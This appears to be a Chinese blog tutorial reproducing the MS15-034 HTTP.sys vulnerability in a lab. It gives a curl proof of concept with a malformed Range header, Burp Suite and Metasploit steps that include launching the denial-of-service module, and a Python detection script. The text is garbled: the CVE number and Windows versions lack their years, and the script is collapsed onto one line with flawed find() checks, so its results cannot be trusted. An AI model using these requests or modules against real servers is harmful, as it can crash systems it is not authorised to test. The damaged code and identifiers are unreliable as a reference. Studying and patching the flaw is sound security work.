1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > CVE--1635(MS15-034)-HTTP.sys远程代码执行复现

CVE--1635(MS15-034)-HTTP.sys远程代码执行复现

时间:2021-05-14 13:51:14

相关推荐

CVE--1635(MS15-034)-HTTP.sys远程代码执行复现

一、漏洞描述

HTTP协议栈(HTTP.sys)存在远程代码执行漏洞,是由于HTTP.sys不正确的解析HTTP请求引起的,成功利用此漏洞的攻击者可以执行系统账户上任意代码。

攻击者必须发送一个HTTP请求到受影响的系统去触发这个漏洞,通过修改Windows HTTP栈处理请求更新漏洞地址。

主要存在Windows+IIS的环境下,任何安装了微软IIS 6.0以上的Windows Server R2/Server /Server R2以及Windows 7/8/8.1操作系统都受到这个漏洞的影响。

二、本次复现漏洞环境

靶机:Windows Server

攻击机:Kali

三、漏洞验证

方法一:curl语法验证

(1)查看能否访问目标URL

(2)使用curl poc验证

curl http://192.168.208.142/iisstart.htm -H "Host: 192.168.208.142" -H "Range: bytes=0-18446744073709551615"

(3)查看结果

如果出现416和Requested Range Not Satisfiable,则证明存在漏洞,反之,则不存在

方法二:Burpsuite验证

在请求包中添加一行:Range: bytes=0-18446744073709551615

判断方法同上

方法三:使用MSF验证

(1)kali打开msf:msfconsole

(2)在msf中搜索利用模块:search MS15-034search CVE--1635

(3)选择payload模块,带有sanner的是验证模块,带有dos的是攻击模块:use 1

(4)设置目标IP:set rhosts xxx.xxx.xxx.xxx

注:端口号如果非80,还要修改端口号

出现如下所示表示不存在:

方法四:python poc脚本

(1)脚本代码

import requestsimport systry:print("正在测试http请求,请稍等...")url = "http://" + sys.argv[1]req = requests.get(url,timeout=5)target_server = req.headers['Server']if target_server.find("IIS"):payload = {"Range": "bytes=0-18446744073709551615"}req2 = requests.get(url, headers=payload)#print(req2.text)#print(req1.request.headers) # 输出自定义的头部信息if str(req2.content).find("Requested Range Not Satisfiable"):print("-------------------存在MS15-034漏洞-------------------")print("漏洞URL:"+url)else:print("Waring:不存在MS15-034漏洞")print("如有疑问,请手工测试...")else:print("-------------------服务器不是IIS-------------------")except:try:print("http请求失败,正在测试http请求,请稍等...")url2 = "https://" + sys.argv[1]req = requests.get(url2, timeout=5)target_server = req.headers['Server']if target_server.find("IIS"):payload = {"Range": "bytes=0-18446744073709551615"}req2 = requests.get(url2, headers=payload)# print(req2.text)# print(req1.request.headers) # 输出自定义的头部信息if str(req2.content).find("Requested Range Not Satisfiable"):print("-------------------存在MS15-034漏洞-------------------")print("漏洞URL:" + url2)else:print("Waring:不存在MS15-034漏洞")print("如有疑问,请手工测试...")else:print("-------------------服务器不是IIS-------------------")print("-------------------目标无法连接-------------------")except:print("-------------------服务器不是IIS-------------------")

(2)测试

四、漏洞攻击

选择之前搜索到的dos模块:use 0

五、漏洞修复

Microsoft已经为此发布了一个安全公告(MS15-034)以及相应补丁:

MS15-034:Vulnerability in HTTP.sys Could Allow Remote Code Execution (3042553)

链接:/security/bulletin/MS15-034

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。